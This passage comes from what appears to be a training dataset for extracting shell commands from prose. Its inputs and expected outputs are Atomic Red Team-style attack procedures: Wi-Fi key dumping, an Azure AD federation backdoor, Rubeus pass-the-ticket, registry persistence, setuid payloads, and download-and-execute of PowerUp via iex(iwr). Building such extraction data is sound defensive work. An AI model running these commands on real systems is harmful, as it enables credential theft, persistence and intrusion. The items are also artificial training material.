syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For downloading files without suspicious executables, configure the OneDrive Standalone Updater via this command sequence:\nif (-not (Test-Path \"#{onedrive_path}\")) {\n    Write-Host \"OneDriveStandaloneUpdater.exe not found at #{onedrive_path}. Test cannot continue.\"\n    exit 1\n}\n\nNew-Item -Path \"HKCU:\\Software\\Microsoft\\OneDrive\\UpdateOfficeConfig\" -Force | Out-Null\nSet-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\OneDrive\\UpdateOfficeConfig\" -Name \"UpdateRingSettingURLFromOC\" -Value \"#{remote_url}\" -Type String -Force\nSet-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\OneDrive\\UpdateOfficeConfig\" -Name \"ODSUUpdateXMLUrlFromOC\" -Value \"#{remote_url}\" -Type String -Force\nSet-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\OneDrive\\UpdateOfficeConfig\" -Name \"UpdateXMLUrlFromOC\" -Value \"#{remote_url}\" -Type String -Force\nSet-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\OneDrive\\UpdateOfficeConfig\" -Name \"UpdateOfficeConfigTimestamp\" -Value 99999999999 -Type QWord -Force\n\n# Run OneDrive Standalone Updater\n& \"#{onedrive_path}\"; Execute arbitrary code on a Lambda function by running this command: Import-Module \"PathToAtomicsFolder/T1648/src/T1648-1/LambdaAttack.ps1\" -Force\n$access_key = \"#{access_key}\"\n$secret_key = \"#{secret_key}\"\n$session_token = \"#{session_token}\"\n$aws_profile = \"#{profile}\"\n$region = \"#{region}\"\nSet-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile -AWSRegion $region\nInvoke-Terraform -TerraformCommand init -TerraformDirectory \"PathToAtomicsFolder/T1648/src/T1648-1\"\nInvoke-Terraform -TerraformCommand apply -TerraformDirectory \"PathToAtomicsFolder/T1648/src/T1648-1\" -TerraformVariables @(\"profile=T1648-1\", \"region=$region\")\nInvoke-LambdaAttack -AWSProfile \"T1648-1\" -AWSRegion $region",
    "output": "{\"command_list\": [\"if (-not (Test-Path \\\"#{onedrive_path}\\\")) {\\n    Write-Host \\\"OneDriveStandaloneUpdater.exe not found at #{onedrive_path}. Test cannot continue.\\\"\\n    exit 1\\n}\\n\\nNew-Item -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\OneDrive\\\\UpdateOfficeConfig\\\" -Force | Out-Null\\nSet-ItemProperty -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\OneDrive\\\\UpdateOfficeConfig\\\" -Name \\\"UpdateRingSettingURLFromOC\\\" -Value \\\"#{remote_url}\\\" -Type String -Force\\nSet-ItemProperty -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\OneDrive\\\\UpdateOfficeConfig\\\" -Name \\\"ODSUUpdateXMLUrlFromOC\\\" -Value \\\"#{remote_url}\\\" -Type String -Force\\nSet-ItemProperty -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\OneDrive\\\\UpdateOfficeConfig\\\" -Name \\\"UpdateXMLUrlFromOC\\\" -Value \\\"#{remote_url}\\\" -Type String -Force\\nSet-ItemProperty -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\OneDrive\\\\UpdateOfficeConfig\\\" -Name \\\"UpdateOfficeConfigTimestamp\\\" -Value 99999999999 -Type QWord -Force\\n\\n# Run OneDrive Standalone Updater\\n& \\\"#{onedrive_path}\\\"\\n\", \"Import-Module \\\"PathToAtomicsFolder/T1648/src/T1648-1/LambdaAttack.ps1\\\" -Force\\n$access_key = \\\"#{access_key}\\\"\\n$secret_key = \\\"#{secret_key}\\\"\\n$session_token = \\\"#{session_token}\\\"\\n$aws_profile = \\\"#{profile}\\\"\\n$region = \\\"#{region}\\\"\\nSet-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile -AWSRegion $region\\nInvoke-Terraform -TerraformCommand init -TerraformDirectory \\\"PathToAtomicsFolder/T1648/src/T1648-1\\\"\\nInvoke-Terraform -TerraformCommand apply -TerraformDirectory \\\"PathToAtomicsFolder/T1648/src/T1648-1\\\" -TerraformVariables @(\\\"profile=T1648-1\\\", \\\"region=$region\\\")\\nInvoke-LambdaAttack -AWSProfile \\\"T1648-1\\\" -AWSRegion $region\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can retrieve a list of all saved Wi-Fi networks along with their security keys (where present) with the command: netsh wlan show profile * key=clear; To add a new federated domain to Azure AD, first ensure the domain is properly configured, then run the following PowerShell command: Import-Module AzureAD\nImport-Module AADInternals\n\n$PWord = ConvertTo-SecureString -String \"#{azure_password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{azure_username}\", $Pword\n\ntry {\n  Connect-AzureAD -Credential $Credential -ErrorAction Stop > $null\n}\ncatch {\n  Write-Host \"Error: AzureAD could not connect\"\n  exit 1\n}\n\ntry {\n  $domain = Get-AzureADDomain -Name \"#{domain_name}\"\n}\ncatch {\n  Write-Host \"Error: domain \"\"#{domain_name}\"\" not found\"\n  exit 1\n}\nif (-Not $domain.IsVerified) {\n  Write-Host \"Error: domain \"\"#{domain_name}\"\" not verified\"\n  exit 1\n}\n\nif ($domain.AuthenticationType -eq \"Federated\") {\n  Write-Host \"Error: domain \"\"#{domain_name}\"\" already federated. Try with a different domain or re-create it before.\"\n  exit 1\n}\n\n$at = Get-AADIntAccessTokenForAADGraph -Credentials $Credential\nif (-Not $at) {\n  Write-Host \"Error: AADInternals could not connect\"\n  exit 1\n}\n\n$new = ConvertTo-AADIntBackdoor -AccessToken $at -DomainName \"#{domain_name}\"\nif ($new) {\n  Write-Host \"Federation successfully added to Azure AD\"\n  Write-Host $new\n}\nelse {\n  Write-Host \"The federation setup failed\"\n}\n\nWrite-Host \"End of federation configuration.\"",
    "output": "{\"command_list\": [\"netsh wlan show profile * key=clear\", \"Import-Module AzureAD\\nImport-Module AADInternals\\n\\n$PWord = ConvertTo-SecureString -String \\\"#{azure_password}\\\" -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{azure_username}\\\", $Pword\\n\\ntry {\\n  Connect-AzureAD -Credential $Credential -ErrorAction Stop > $null\\n}\\ncatch {\\n  Write-Host \\\"Error: AzureAD could not connect\\\"\\n  exit 1\\n}\\n\\ntry {\\n  $domain = Get-AzureADDomain -Name \\\"#{domain_name}\\\"\\n}\\ncatch {\\n  Write-Host \\\"Error: domain \\\"\\\"#{domain_name}\\\"\\\" not found\\\"\\n  exit 1\\n}\\nif (-Not $domain.IsVerified) {\\n  Write-Host \\\"Error: domain \\\"\\\"#{domain_name}\\\"\\\" not verified\\\"\\n  exit 1\\n}\\n\\nif ($domain.AuthenticationType -eq \\\"Federated\\\") {\\n  Write-Host \\\"Error: domain \\\"\\\"#{domain_name}\\\"\\\" already federated. Try with a different domain or re-create it before.\\\"\\n  exit 1\\n}\\n\\n$at = Get-AADIntAccessTokenForAADGraph -Credentials $Credential\\nif (-Not $at) {\\n  Write-Host \\\"Error: AADInternals could not connect\\\"\\n  exit 1\\n}\\n\\n$new = ConvertTo-AADIntBackdoor -AccessToken $at -DomainName \\\"#{domain_name}\\\"\\nif ($new) {\\n  Write-Host \\\"Federation successfully added to Azure AD\\\"\\n  Write-Host $new\\n}\\nelse {\\n  Write-Host \\\"The federation setup failed\\\"\\n}\\n\\nWrite-Host \\\"End of federation configuration.\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The file can be downloaded and saved to a custom path by running the command: nscurl -k \"#{remote_file}\" -o \"#{destination_path}\"; To illustrate how 'Sqlcmd.exe' can be abused to download files from remote servers, this technique executes the command: sqlcmd -i #{remote_url} -o #{local_file_path}, fetching a sample zip file from GitHub.",
    "output": "{\"command_list\": [\"nscurl -k \\\"#{remote_file}\\\" -o \\\"#{destination_path}\\\"\", \"sqlcmd -i #{remote_url} -o #{local_file_path}\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create a C source file, modify its ownership, and set file attributes, use the following commands: cp #{payload} /tmp/hello.c\nsudo chown root /tmp/hello.c\nsudo make /tmp/hello\nsudo chown root /tmp/hello\nsudo chmod u+s /tmp/hello\n/tmp/hello; The process involves copying a payload to a C file, compiling it, and setting permissions via the command: cp #{payload} /tmp/hello.c\nchown root /tmp/hello.c\nmake /tmp/hello\nchown root /tmp/hello\nchmod u+s /tmp/hello\n/tmp/hello",
    "output": "{\"command_list\": [\"cp #{payload} /tmp/hello.c\\nsudo chown root /tmp/hello.c\\nsudo make /tmp/hello\\nsudo chown root /tmp/hello\\nsudo chmod u+s /tmp/hello\\n/tmp/hello\\n\", \"cp #{payload} /tmp/hello.c\\nchown root /tmp/hello.c\\nmake /tmp/hello\\nchown root /tmp/hello\\nchmod u+s /tmp/hello\\n/tmp/hello\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To perform a Pass-The-Ticket attack, first request a TGT on the remote system and retrieve it locally using the following command sequence: & \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" -accepteula \\\\#{target} -w c:\\ -c \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus.exe\" asktgt /user:#{user_name} /password:#{password} /domain:#{domain} /outfile:ticket.kirbi\nSet-Location \"PathToAtomicsFolder\\..\\ExternalPayloads\"\nMove-Item -Force \"\\\\#{target}\\c$\\ticket.kirbi\" ticket.kirbi\nWrite-Host \"Successfully retrieved TGT from \\'#{target}\\', now requesting a TGS from local\"\n& \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus.exe\" asktgs /service:cifs/#{target} /ticket:ticket.kirbi /ptt\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\ticket.kirbi\"\n& \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus.exe\" purge; By running the following command: Set-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{C9E9A340-D1F1-11D0-821E-444553540600}\" \"StubPath\" \"#{payload}\" -Force\n& $env:SYSTEMROOT\\system32\\runonce.exe /AlternateShellStartup, you can add a StubPath to the registry key and trigger Active Setup immediately to launch the specified payload.",
    "output": "{\"command_list\": [\"& \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\PsExec.exe\\\" -accepteula \\\\\\\\#{target} -w c:\\\\ -c \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\rubeus.exe\\\" asktgt /user:#{user_name} /password:#{password} /domain:#{domain} /outfile:ticket.kirbi\\nSet-Location \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\"\\nMove-Item -Force \\\"\\\\\\\\#{target}\\\\c$\\\\ticket.kirbi\\\" ticket.kirbi\\nWrite-Host \\\"Successfully retrieved TGT from '#{target}', now requesting a TGS from local\\\"\\n& \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\rubeus.exe\\\" asktgs /service:cifs/#{target} /ticket:ticket.kirbi /ptt\\nRemove-Item \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\ticket.kirbi\\\"\\n& \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\rubeus.exe\\\" purge      \", \"Set-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Active Setup\\\\Installed Components\\\\{C9E9A340-D1F1-11D0-821E-444553540600}\\\" \\\"StubPath\\\" \\\"#{payload}\\\" -Force\\n& $env:SYSTEMROOT\\\\system32\\\\runonce.exe /AlternateShellStartup\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 